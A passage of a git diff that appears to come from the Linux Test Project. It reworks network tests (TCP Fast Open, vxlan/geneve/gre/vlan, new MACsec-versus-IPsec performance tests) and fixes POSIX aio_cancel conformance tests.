-	[ "$RHOSTNAME" ] || tst_brkm TBROK "Unable to determine RHOSTNAME"
-}
-
-do_test()
-{
-	rwho -a | grep -q $LHOST || \
-		tst_brkm TFAIL "$LHOST isn't in rwho output"
-	rwho -a | grep -q $RHOSTNAME || \
-		tst_brkm TFAIL "$RHOSTNAME isn't in rwho output"
-	ruptime -a | grep -q $LHOST || \
-		tst_brkm TFAIL "$LHOST is not in ruptime outfile"
-	ruptime -a | grep -q $RHOSTNAME || \
-		tst_brkm TFAIL "$RHOSTNAME is not in ruptime outfile"
-}
-
-do_cleanup()
-{
-	if [ "$LHOST_PID" ]; then
-		tst_resm TINFO "Stopping rwhod on $LHOST"
-		killall rwhod
-	fi
-
-	if [ "$RHOST_PID" ]; then
-		tst_resm TINFO "Stopping rwhod on $RHOST"
-		tst_rhost_run -c "killall rwhod"
-	fi
-}
-
-do_setup
-
-for i in $(seq 1 $TST_TOTAL); do
-	do_test
-	tst_resm TPASS "Test $i/$TST_COUNT complete"
-done
-
-tst_exit
diff --git a/testcases/network/tcp_fastopen/tcp_fastopen_run.sh b/testcases/network/tcp_fastopen/tcp_fastopen_run.sh
index d0341cd..e9094fc 100755
--- a/testcases/network/tcp_fastopen/tcp_fastopen_run.sh
+++ b/testcases/network/tcp_fastopen/tcp_fastopen_run.sh
@@ -1,5 +1,5 @@
 #!/bin/sh
-# Copyright (c) 2014-2016 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -18,36 +18,23 @@
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 
-# default command-line options
-user_name="root"
-use_ssh=0
-clients_num=2
-client_requests=2000000
-max_requests=3
-
+TST_NETLOAD_MAX_SRV_REPLIES=3
 TST_TOTAL=1
 TCID="tcp_fastopen"
+TST_NEEDS_TMPDIR=1
 
 . test_net.sh
 
-while getopts :hu:sr:p:n:R:6 opt; do
+while getopts :hr:n:R:6 opt; do
 	case "$opt" in
 	h)
 		echo "Usage:"
 		echo "h        help"
-		echo "u x      server user name"
-		echo "s        use ssh to run remote cmds"
-		echo "n x      num of clients running in parallel"
-		echo "r x      the number of client requests"
 		echo "R x      num of requests, after which conn. closed"
 		echo "6        run over IPv6"
 		exit 0
 	;;
-	u) user_name=$OPTARG ;;
-	s) export TST_USE_SSH=1 ;;
-	n) clients_num=$OPTARG ;;
-	r) client_requests=$OPTARG ;;
-	R) max_requests=$OPTARG ;;
+	R) TST_NETLOAD_MAX_SRV_REPLIES=$OPTARG ;;
 	6) # skip, test_net library already processed it
 	;;
 	*) tst_brkm TBROK "unknown option: $opt" ;;
@@ -57,6 +44,18 @@
 cleanup()
 {
 	tst_rmdir
+	tc qdisc del dev $(tst_iface) root netem delay 100 >/dev/null
+}
+
+compare()
+{
+	tfo_cmp=$(( 100 - ($time_tfo_on * 100) / $time_tfo_off ))
+
+	if [ "$tfo_cmp" -lt 3 ]; then
+		tst_resm TFAIL "$1 perf result is '$tfo_cmp' percent"
+	else
+		tst_resm TPASS "$1 perf result is '$tfo_cmp' percent"
+	fi
 }
 
 tst_require_root
@@ -71,24 +70,26 @@
 
 trap "tst_brkm TBROK 'test interrupted'" INT
 TST_CLEANUP="cleanup"
-tst_tmpdir
+
+ROD tc qdisc add dev $(tst_iface) root netem delay 100
 
 tst_resm TINFO "using old TCP API and set tcp_fastopen to '0'"
-tst_netload -H $(tst_ipaddr rhost) -a $clients_num -r $client_requests \
-	-R $max_requests -t 0
+tst_netload -H $(tst_ipaddr rhost) -t 0
 time_tfo_off=$(cat tst_netload.res)
 
 tst_resm TINFO "using new TCP API and set tcp_fastopen to '3'"
-tst_netload -H $(tst_ipaddr rhost)  -a $clients_num -r $client_requests \
-	-R $max_requests -f -t 3
+tst_netload -H $(tst_ipaddr rhost) -f -t 3
 time_tfo_on=$(cat tst_netload.res)
 
-tfo_cmp=$(( 100 - ($time_tfo_on * 100) / $time_tfo_off ))
+compare
 
-if [ "$tfo_cmp" -lt 3 ]; then
-	tst_resm TFAIL "TFO performance result is '$tfo_cmp' percent"
-else
-	tst_resm TPASS "TFO performance result is '$tfo_cmp' percent"
-fi
+tst_kvcmp -lt "4.11" && \
+	tst_brkm TCONF "next test must be run with kernel 4.11 or newer"
+
+tst_resm TINFO "using connect() and TCP_FASTOPEN_CONNECT socket option"
+tst_netload -H $(tst_ipaddr rhost) -F -t 3
+time_tfo_on=$(cat tst_netload.res)
+
+compare
 
 tst_exit
diff --git a/testcases/network/virt/Makefile b/testcases/network/virt/Makefile
index 9a97a82..619d769 100644
--- a/testcases/network/virt/Makefile
+++ b/testcases/network/virt/Makefile
@@ -18,17 +18,6 @@
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
-INSTALL_TARGETS		:= ipvlan01.sh \
-			   geneve01.sh \
-			   gre01.sh \
-			   macvlan01.sh \
-			   macvtap01.sh \
-			   virt_lib.sh \
-			   vlan01.sh \
-			   vlan02.sh \
-			   vlan03.sh \
-			   vxlan01.sh \
-			   vxlan02.sh \
-			   vxlan03.sh \
+INSTALL_TARGETS		:= *.sh
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/virt/geneve01.sh b/testcases/network/virt/geneve01.sh
index 5140db8..1e723d8 100755
--- a/testcases/network/virt/geneve01.sh
+++ b/testcases/network/virt/geneve01.sh
@@ -1,5 +1,5 @@
 #!/bin/sh
-# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2016-2017 Oracle and/or its affiliates.
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -18,6 +18,7 @@
 
 TCID=geneve01
 TST_TOTAL=1
+TST_NEEDS_TMPDIR=1
 
 virt_type="geneve"
 start_id=16700000
@@ -32,12 +33,7 @@
 VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-160}
 [ "$VIRT_PERF_THRESHOLD" -lt 160 ] && VIRT_PERF_THRESHOLD=160
 
-cleanup()
-{
-	cleanup_vifaces
-	tst_rhost_run -c "ip link delete ltp_v0 2>/dev/null"
-}
-TST_CLEANUP="cleanup"
+TST_CLEANUP="virt_cleanup"
 
 if [ -z $ip_local -o -z $ip_remote ]; then
 	tst_brkm TBROK "you must specify IP address"
@@ -46,10 +42,12 @@
 tst_resm TINFO "the same VNI must work"
 # VNI is 24 bits long, so max value, which is not reserved, is 0xFFFFFE
 vxlan_setup_subnet_$vxlan_dst_addr "id 0xFFFFFE" "id 0xFFFFFE"
-virt_compare_netperf
+virt_netperf_msg_sizes
+virt_cleanup_rmt
 
 tst_resm TINFO "different VNI shall not work together"
 vxlan_setup_subnet_$vxlan_dst_addr "id 0xFFFFFE" "id 0xFFFFFD"
+virt_minimize_timeout
 virt_compare_netperf "fail"
 
 tst_exit
diff --git a/testcases/network/virt/gre01.sh b/testcases/network/virt/gre01.sh
index cb90c68..bb2817d 100755
--- a/testcases/network/virt/gre01.sh
+++ b/testcases/network/virt/gre01.sh
@@ -1,5 +1,5 @@
 #!/bin/sh
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2015-2017 Oracle and/or its affiliates.
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -22,6 +22,7 @@
 
 TCID=gre01
 TST_TOTAL=1
+TST_NEEDS_TMPDIR=1
 
 . test_net.sh
 
@@ -30,12 +31,7 @@
 
 . virt_lib.sh
 
-cleanup()
-{
-	cleanup_vifaces
-	tst_rhost_run -c "ip link delete ltp_v0 2>/dev/null"
-}
-TST_CLEANUP="cleanup"
+TST_CLEANUP="virt_cleanup"
 
 if [ -z $ip_local -o -z $ip_remote ]; then
 	tst_brkm TBROK "you must specify IP address"
@@ -45,6 +41,6 @@
 virt_setup "local $(tst_ipaddr) remote $(tst_ipaddr rhost) dev $(tst_iface)" \
 "local $(tst_ipaddr rhost) remote $(tst_ipaddr) dev $(tst_iface rhost)"
 
-virt_compare_netperf
+virt_netperf_msg_sizes
 
 tst_exit
diff --git a/testcases/network/virt/macsec01.sh b/testcases/network/virt/macsec01.sh
new file mode 100755
index 0000000..52d6f07
--- /dev/null
+++ b/testcases/network/virt/macsec01.sh
@@ -0,0 +1,47 @@
+#!/bin/sh
+# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# Test-case: setup two MACsec drivers and run TCP traffic over them
+# with default MACsec configuration, compare performance with similar
+# IPsec configuration on master interface.
+
+TCID=macsec01
+TST_TOTAL=16
+TST_NEEDS_TMPDIR=1
+
+virt_type="macsec"
+VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-100}
+
+. ipsec_lib.sh
+. virt_lib.sh
+
+cleanup()
+{
+	virt_cleanup
+	tst_ipsec_cleanup
+}
+TST_CLEANUP="cleanup"
+
+IPSEC_MODE=transport
+IPSEC_PROTO=ah
+tst_resm TINFO "setup IPsec $IPSEC_MODE/$IPSEC_PROTO $EALGO"
+tst_ipsec lhost $(tst_ipaddr) $(tst_ipaddr rhost)
+tst_ipsec rhost $(tst_ipaddr rhost) $(tst_ipaddr)
+
+virt_macsec_setup
+virt_netperf_msg_sizes
+
+tst_exit
diff --git a/testcases/network/virt/macsec02.sh b/testcases/network/virt/macsec02.sh
new file mode 100755
index 0000000..617860d
--- /dev/null
+++ b/testcases/network/virt/macsec02.sh
@@ -0,0 +1,48 @@
+#!/bin/sh
+# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# Test-case: setup two MACsec drivers and run TCP traffic over them
+# with enabled frame encryption and replay protection, compare
+# performance with similar IPsec configuration on master interface.
+
+TCID=macsec02
+TST_TOTAL=16
+TST_NEEDS_TMPDIR=1
+
+virt_type="macsec"
+VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-100}
+
+. ipsec_lib.sh
+. virt_lib.sh
+
+cleanup()
+{
+	virt_cleanup
+	tst_ipsec_cleanup
+}
+TST_CLEANUP="cleanup"
+
+IPSEC_MODE=transport
+IPSEC_PROTO=esp_aead
+EALGO=aes
+tst_resm TINFO "setup IPsec $IPSEC_MODE/$IPSEC_PROTO $EALGO"
+tst_ipsec lhost $(tst_ipaddr) $(tst_ipaddr rhost)
+tst_ipsec rhost $(tst_ipaddr rhost) $(tst_ipaddr)
+
+virt_macsec_setup "replay on window 300 encrypt on protect on"
+virt_netperf_msg_sizes
+
+tst_exit
diff --git a/testcases/network/virt/virt_lib.sh b/testcases/network/virt/virt_lib.sh
index 6036b42..7335d6e 100644
--- a/testcases/network/virt/virt_lib.sh
+++ b/testcases/network/virt/virt_lib.sh
@@ -1,5 +1,5 @@
 #!/bin/sh
-# Copyright (c) 2014-2016 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -29,53 +29,28 @@
 #          solve it.
 
 ip_local=$(tst_ipaddr)
-ip_virt_local="192.168.124.1"
-ip6_virt_local="fe80::381c:c0ff:fea8:7c01"
-mac_virt_local="3A:1C:C0:A8:7C:01"
+ip_virt_local="$(TST_IPV6= tst_ipaddr_un)"
+ip6_virt_local="$(TST_IPV6=6 tst_ipaddr_un)"
 
 ip_remote=$(tst_ipaddr rhost)
-ip_virt_remote="192.168.124.2"
-ip6_virt_remote="fe80::381c:c0ff:fea8:7c02"
-mac_virt_remote="3A:1C:C0:A8:7C:02"
+ip_virt_remote="$(TST_IPV6= tst_ipaddr_un rhost)"
+ip6_virt_remote="$(TST_IPV6=6 tst_ipaddr_un rhost)"
 
 # Max performance loss (%) for virtual devices during network load
 VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-80}
 vxlan_dstport=0
 
-clients_num=2
-client_requests=500000
-max_requests=20
-
-while getopts :hsx:i:r:c:R:p:n:t:d:6 opt; do
+while getopts :hi:d:6 opt; do
 	case "$opt" in
 	h)
 		echo "Usage:"
 		echo "h        help"
-		echo "s        use ssh to run remote cmds"
-		echo "x n      n is a number of interfaces for tc1 and tc2"
 		echo "i n      start ID to use"
-		echo "r n      client requests for TCP performance test"
-		echo "c n      clients run concurrently in TCP perf"
-		echo "R n      num of reqs, after which conn.closed in TCP perf"
-		echo "p x      x and x + 1 are ports in TCP perf"
-		echo "n x      virtual network 192.168.x"
-		echo "t x      performance threshold, default is 60%"
 		echo "d x      VxLAN destination address, 'uni' or 'multi'"
 		echo "6        run over IPv6"
 		exit 0
 	;;
-	s) TST_USE_SSH=1 ;;
-	x) virt_count=$OPTARG ;;
 	i) start_id=$OPTARG ;;
-	c) clients_num=$OPTARG ;;
-	r) client_requests=$OPTARG ;;
-	R) max_requests=$OPTARG ;;
-	p) srv_port=$OPTARG ;;
-	n)
-		ip_virt_local="192.168.${OPTARG}.1"
-		ip_virt_remote="192.168.${OPTARG}.2"
-	;;
-	t) VIRT_PERF_THRESHOLD=$OPTARG ;;
 	d) vxlan_dst_addr=$OPTARG ;;
 	6) # skip, test_net library already processed it
 	;;
@@ -94,6 +69,22 @@
 	done
 }
 
+virt_cleanup_rmt()
+{
+	cleanup_vifaces
+	tst_rhost_run -c "ip link delete ltp_v0 2>/dev/null"
+	if [ "$virt_tcp_syn" ]; then
+		sysctl -q net.ipv4.tcp_syn_retries=$virt_tcp_syn
+		virt_tcp_syn=
+	fi
+}
+
+virt_cleanup()
+{
+	virt_cleanup_rmt
+	[ "$TST_NEEDS_TMPDIR" = 1 ] && tst_rmdir
+}
+
 TST_CLEANUP="cleanup_vifaces"
 trap "tst_brkm TBROK 'test interrupted'" INT
 
@@ -119,7 +110,7 @@
 
 	case $virt_type in
 	vxlan|geneve)
-		ip li add $vname type $virt_type $opt
+		ip li add $vname type $virt_type $opt dev $(tst_iface)
 	;;
 	gre|ip6gre)
 		ip -f inet$TST_IPV6 tu add $vname mode $virt_type $opt
@@ -135,7 +126,8 @@
 	local opt=""
 	case $virt_type in
 	vxlan|geneve)
-		[ "$vxlan_dstport" -eq 1 ] && opt="dstport 0"
+		opt="dev $(tst_iface rhost)"
+		[ "$vxlan_dstport" -eq 1 ] && opt="$opt dstport 0"
 		tst_rhost_run -s -c "ip li add ltp_v0 type $virt_type $@ $opt"
 	;;
 	gre|ip6gre)
@@ -152,12 +144,13 @@
 virt_multiple_add_test()
 {
 	local opt="$@"
-	local max=$(($start_id + $virt_count - 1))
+	local max=$(($start_id + $NS_TIMES - 1))
 
-	tst_resm TINFO "add $virt_count $virt_type, then delete"
+	tst_resm TINFO "add $NS_TIMES $virt_type, then delete"
 
 	for i in $(seq $start_id $max); do
-		ROD_SILENT "virt_add ltp_v$i id $i $opt"
+		virt_add ltp_v$i id $i $opt || \
+			tst_brkm TFAIL "failed to create 'ltp_v0 $opt'"
 		ROD_SILENT "ip link set ltp_v$i up"
 	done
 
@@ -172,12 +165,13 @@
 virt_add_delete_test()
 {
 	local opt="$@"
-	local max=$(($virt_count - 1))
+	local max=$(($NS_TIMES - 1))
 
-	tst_resm TINFO "add/del $virt_type $virt_count times"
+	tst_resm TINFO "add/del $virt_type $NS_TIMES times"
 
 	for i in $(seq 0 $max); do
-		ROD_SILENT "virt_add ltp_v0 $opt"
+		virt_add ltp_v0 $opt || \
+			tst_brkm TFAIL "failed to create 'ltp_v0 $opt'"
 		ROD_SILENT "ip link set ltp_v0 up"
 		ROD_SILENT "ip link delete ltp_v0"
 	done
@@ -187,34 +181,42 @@
 virt_setup()
 {
 	local opt="$1"
-	local opt_r="$2"
+	local opt_r="${2:-$1}"
 
 	tst_resm TINFO "setup local ${virt_type} with '$opt'"
-	ROD_SILENT "virt_add ltp_v0 $opt"
+	virt_add ltp_v0 $opt || \
+		tst_brkm TBROK "failed to create 'ltp_v0 $opt'"
 
 	tst_resm TINFO "setup rhost ${virt_type} with '$opt_r'"
 	virt_add_rhost "$opt_r"
 
-	case $virt_type in
-	gre|ip6gre)
-		# We can't set hwaddr to GRE tunnel, add IPv6 link local
-		# addresses manually.
-		ROD_SILENT "ip addr add ${ip6_virt_local}/64 dev ltp_v0"
-		tst_rhost_run -s -c "ip ad add ${ip6_virt_remote}/64 dev ltp_v0"
-	;;
-	*)
-		ROD_SILENT "ip li set ltp_v0 address $mac_virt_local"
-		tst_rhost_run -s -c "ip li set ltp_v0 address $mac_virt_remote"
-	;;
-	esac
+	ROD_SILENT "ip addr add ${ip6_virt_local}/64 dev ltp_v0 nodad"
+	tst_rhost_run -s -c "ip ad add ${ip6_virt_remote}/64 dev ltp_v0 nodad"
 
 	ROD_SILENT "ip addr add ${ip_virt_local}/24 dev ltp_v0"
 	tst_rhost_run -s -c "ip addr add ${ip_virt_remote}/24 dev ltp_v0"
 
+	ROD_SILENT "sysctl -q net.ipv6.conf.ltp_v0.accept_dad=0"
+	tst_rhost_run -s -c "sysctl -q net.ipv6.conf.ltp_v0.accept_dad=0"
+
 	ROD_SILENT "ip li set up ltp_v0"
 	tst_rhost_run -s -c "ip li set up ltp_v0"
 }
 
+virt_tcp_syn=
+virt_minimize_timeout()
+{
+	local mac_loc="$(cat /sys/class/net/ltp_v0/address)"
+	local mac_rmt="$(tst_rhost_run -c 'cat /sys/class/net/ltp_v0/address')"
+
+	ROD_SILENT "ip ne replace $ip_virt_remote lladdr \
+		    $mac_rmt nud permanent dev ltp_v0"
+	tst_rhost_run -s -c "ip ne replace $ip_virt_local lladdr \
+			     $mac_loc nud permanent dev ltp_v0"
+	virt_tcp_syn=$(sysctl -n net.ipv4.tcp_syn_retries)
+	ROD sysctl -q net.ipv4.tcp_syn_retries=1
+}
+
 vxlan_setup_subnet_uni()
 {
 	if tst_kvcmp -lt "3.10"; then
@@ -244,8 +246,8 @@
 		grp="group 239.$b1.$b2.$b3"
 	fi
 
-	local opt="$1 $grp dev $(tst_iface)"
-	local opt_r="$2 $grp dev $(tst_iface rhost)"
+	local opt="$1 $grp"
+	local opt_r="$2 $grp"
 
 	virt_setup "$opt" "$opt_r"
 }
@@ -255,24 +257,20 @@
 	local ret1="pass"
 	local ret2="pass"
 	local expect_res="${1:-pass}"
+	local opts="$2"
 
-	tst_netload -H $ip_virt_remote -a $clients_num -R $max_requests \
-		-r $client_requests -d res_ipv4 -e $expect_res || ret1="fail"
+	tst_netload -H $ip_virt_remote $opts -d res_ipv4 -e $expect_res || \
+		ret1="fail"
 
-	tst_netload -H ${ip6_virt_remote}%ltp_v0 -a $clients_num \
-		-R $max_requests -r $client_requests -d res_ipv6 \
-		-e $expect_res || ret2="fail"
-
-	ROD_SILENT "ip link delete ltp_v0"
-	tst_rhost_run -s -c "ip link delete ltp_v0"
+	tst_netload -H ${ip6_virt_remote} $opts -d res_ipv6 -e $expect_res || \
+		ret2="fail"
 
 	[ "$ret1" = "fail" -o "$ret2" = "fail" ] && return
 
 	local vt="$(cat res_ipv4)"
 	local vt6="$(cat res_ipv6)"
 
-	tst_netload -H $ip_remote -a $clients_num -R $max_requests \
-		-r $client_requests -d res_ipv4
+	tst_netload -H $ip_remote $opts -d res_ipv4
 
 	local lt="$(cat res_ipv4)"
 	tst_resm TINFO "time lan($lt) $virt_type IPv4($vt) and IPv6($vt6) ms"
@@ -309,14 +307,49 @@
 	return 0
 }
 
+# virt_macsec_setup [OPTIONS]
+# OPTIONS - [ cipher { default | gcm-aes-128 } ] [ encrypt { on | off } ]
+#           [ protect { on | off } ] [ replay { on | off } ] [ window WINDOW ]
+#           [ validate { strict | check | disabled } ]
+virt_macsec_setup()
+{
+	local keyid0=01
+	local keyid1=02
+	local sa=0
+	local h0=$(tst_hwaddr)
+	local h1=$(tst_hwaddr rhost)
+	local cmd="ip macsec add ltp_v0"
+	local key0="01234567890123456789012345678901"
+	local key1="98765432109876543210987612343434"
+
+	virt_setup "icvlen 16 encodingsa $sa $@"
+
+	ROD $cmd tx sa $sa pn 100 on key $keyid0 $key0
+	ROD $cmd rx address $h1 port 1
+	ROD $cmd rx address $h1 port 1 sa $sa pn 100 on key $keyid1 $key1
+
+	tst_rhost_run -s -c "$cmd tx sa $sa pn 100 on key $keyid1 $key1"
+	tst_rhost_run -s -c "$cmd rx address $h0 port 1"
+	tst_rhost_run -s -c \
+		"$cmd rx address $h0 port 1 sa $sa pn 100 on key $keyid0 $key0"
+}
+
+virt_netperf_msg_sizes()
+{
+	local sizes="${@:-100 1000 2000 10000}"
+	client_requests=20000
+
+	for s in $sizes; do
+		virt_compare_netperf pass "-n $s -N $s"
+	done
+}
+
 # Check if we can create then delete virtual interface n times.
 # virt_test_01 [OPTIONS]
 # OPTIONS - different options separated by comma.
 virt_test_01()
 {
 	start_id=${start_id:-"1"}
-	virt_count=${virt_count:-"400"}
-
 	local opts=${1:-""}
 	local n=0
 
@@ -333,7 +366,7 @@
 
 		virt_multiple_add_test "$p"
 
-		start_id=$(($start_id + $virt_count))
+		start_id=$(($start_id + $NS_TIMES))
 	done
 }
 
@@ -343,8 +376,6 @@
 virt_test_02()
 {
 	start_id=${start_id:-"1"}
-	virt_count=${virt_count:-"500"}
-
 	local opts=${1:-""}
 	local n=0
 
@@ -361,7 +392,7 @@
 
 		virt_add_delete_test "$p"
 
-		start_id=$(($start_id + $virt_count))
+		start_id=$(($start_id + $NS_TIMES))
 	done
 }
 
diff --git a/testcases/network/virt/vlan02.sh b/testcases/network/virt/vlan02.sh
index 60addba..b10596d 100755
--- a/testcases/network/virt/vlan02.sh
+++ b/testcases/network/virt/vlan02.sh
@@ -24,7 +24,6 @@
 TST_TOTAL=1
 
 virt_type="vlan"
-virt_count=4095
 
 . test_net.sh
 . virt_lib.sh
diff --git a/testcases/network/virt/vlan03.sh b/testcases/network/virt/vlan03.sh
index 0d259e1..814cc4c 100755
--- a/testcases/network/virt/vlan03.sh
+++ b/testcases/network/virt/vlan03.sh
@@ -1,5 +1,5 @@
 #!/bin/sh
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2015-2017 Oracle and/or its affiliates.
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -25,18 +25,14 @@
 
 TCID=vlan03
 TST_TOTAL=6
+TST_NEEDS_TMPDIR=1
 
 virt_type="vlan"
 
 . test_net.sh
 . virt_lib.sh
 
-cleanup()
-{
-	cleanup_vifaces
-	tst_rhost_run -c "ip link delete ltp_v0 2>/dev/null"
-}
-TST_CLEANUP="cleanup"
+TST_CLEANUP="virt_cleanup"
 
 if [ -z $ip_local -o -z $ip_remote ]; then
 	tst_brkm TBROK "you must specify IP address"
@@ -58,11 +54,14 @@
 
 	tst_resm TINFO "networks with the same VLAN ID must work"
 	virt_setup "id 4094 $p" "id 4094 $p"
-	virt_compare_netperf
+	virt_netperf_msg_sizes
+	virt_cleanup_rmt
 
 	tst_resm TINFO "different VLAN ID shall not work together"
 	virt_setup "id 4093 $p" "id 4094 $p"
+	virt_minimize_timeout
 	virt_compare_netperf "fail"
+	virt_cleanup_rmt
 done
 
 tst_exit
diff --git a/testcases/network/virt/vxlan02.sh b/testcases/network/virt/vxlan02.sh
index e0d0fe5..23c303f 100755
--- a/testcases/network/virt/vxlan02.sh
+++ b/testcases/network/virt/vxlan02.sh
@@ -25,7 +25,6 @@
 
 virt_type="vxlan"
 start_id=16700000
-virt_count=5000
 
 . test_net.sh
 . virt_lib.sh
diff --git a/testcases/network/virt/vxlan03.sh b/testcases/network/virt/vxlan03.sh
index d1c0afb..5d1d000 100755
--- a/testcases/network/virt/vxlan03.sh
+++ b/testcases/network/virt/vxlan03.sh
@@ -1,5 +1,5 @@
 #!/bin/sh
-# Copyright (c) 2014-2016 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2017 Oracle and/or its affiliates.
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -25,6 +25,7 @@
 
 TCID=vxlan03
 TST_TOTAL=4
+TST_NEEDS_TMPDIR=1
 
 virt_type="vxlan"
 start_id=16700000
@@ -42,12 +43,7 @@
 VIRT_PERF_THRESHOLD=${VIRT_PERF_THRESHOLD:-160}
 [ "$VIRT_PERF_THRESHOLD" -lt 160 ] && VIRT_PERF_THRESHOLD=160
 
-cleanup()
-{
-	cleanup_vifaces
-	tst_rhost_run -c "ip link delete ltp_v0 2>/dev/null"
-}
-TST_CLEANUP="cleanup"
+TST_CLEANUP="virt_cleanup"
 
 if [ -z $ip_local -o -z $ip_remote ]; then
 	tst_brkm TBROK "you must specify IP address"
@@ -63,11 +59,14 @@
 	tst_resm TINFO "the same VNI must work"
 	# VNI is 24 bits long, so max value, which is not reserved, is 0xFFFFFE
 	vxlan_setup_subnet_$vxlan_dst_addr "id 0xFFFFFE $p" "id 0xFFFFFE $p"
-	virt_compare_netperf
+	virt_netperf_msg_sizes
+	virt_cleanup_rmt
 
 	tst_resm TINFO "different VNI shall not work together"
 	vxlan_setup_subnet_$vxlan_dst_addr "id 0xFFFFFE $p" "id 0xFFFFFD $p"
+	virt_minimize_timeout
 	virt_compare_netperf "fail"
+	virt_cleanup_rmt
 done
 
 tst_exit
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/3-1.c
index ccb85e5..ead3be1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/3-1.c
@@ -65,6 +65,7 @@
 {
 	char tmpfname[256];
 	int fd;
+	struct aiocb *aiocb_list[BUF_NB];
 	struct aiocb *aiocb;
 	struct sigaction action;
 	int i;
@@ -121,7 +122,11 @@
 		aiocb->aio_sigevent.sigev_value.sival_ptr = aiocb;
 		aiocb->aio_reqprio = 0;
 
-		if (aio_write(aiocb) == -1) {
+		aiocb_list[i] = aiocb;
+	}
+
+	for (i = 0; i < BUF_NB; i++) {
+		if (aio_write(aiocb_list[i]) == -1) {
 			printf(TNAME " loop %d: Error at aio_write(): %s\n",
 			       i, strerror(errno));
 			return PTS_FAIL;
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/4-1.c
index 76a45a1..7304857 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/4-1.c
@@ -86,7 +86,9 @@
 		aiocb[i]->aio_nbytes = BUF_SIZE;
 		aiocb[i]->aio_offset = 0;
 		aiocb[i]->aio_sigevent.sigev_notify = SIGEV_NONE;
+	}
 
+	for (i = 0; i < BUF_NB; i++) {
 		if (aio_write(aiocb[i]) == -1) {
 			printf(TNAME " loop %d: Error at aio_write(): %s\n",
 			       i, strerror(errno));
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/5-1.c
index ece29ac..9d36c8b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/5-1.c
@@ -69,7 +69,7 @@
 	/* create AIO req */
 
 	for (i = 0; i < BUF_NB; i++) {
-		aiocb[i] = malloc(sizeof(struct aiocb));
+		aiocb[i] = calloc(1, sizeof(struct aiocb));
 		if (aiocb[i] == NULL) {
 			printf(TNAME " Error at malloc(): %s\n",
 			       strerror(errno));
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/6-1.c
index 280ac15..e194f49 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/6-1.c
@@ -71,7 +71,7 @@
 	/* create AIO req */
 
 	for (i = 0; i < BUF_NB; i++) {
-		aiocb[i] = malloc(sizeof(struct aiocb));
+		aiocb[i] = calloc(1, sizeof(struct aiocb));
 		if (aiocb[i] == NULL) {
 			printf(TNAME " Error at malloc(): %s\n",
 			       strerror(errno));
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/7-1.c
index c205d27..5e9bccf 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/7-1.c
@@ -68,7 +68,7 @@
 
 	/* create AIO req */
 	for (i = 0; i < BUF_NB; i++) {
-		aiocb[i] = malloc(sizeof(struct aiocb));
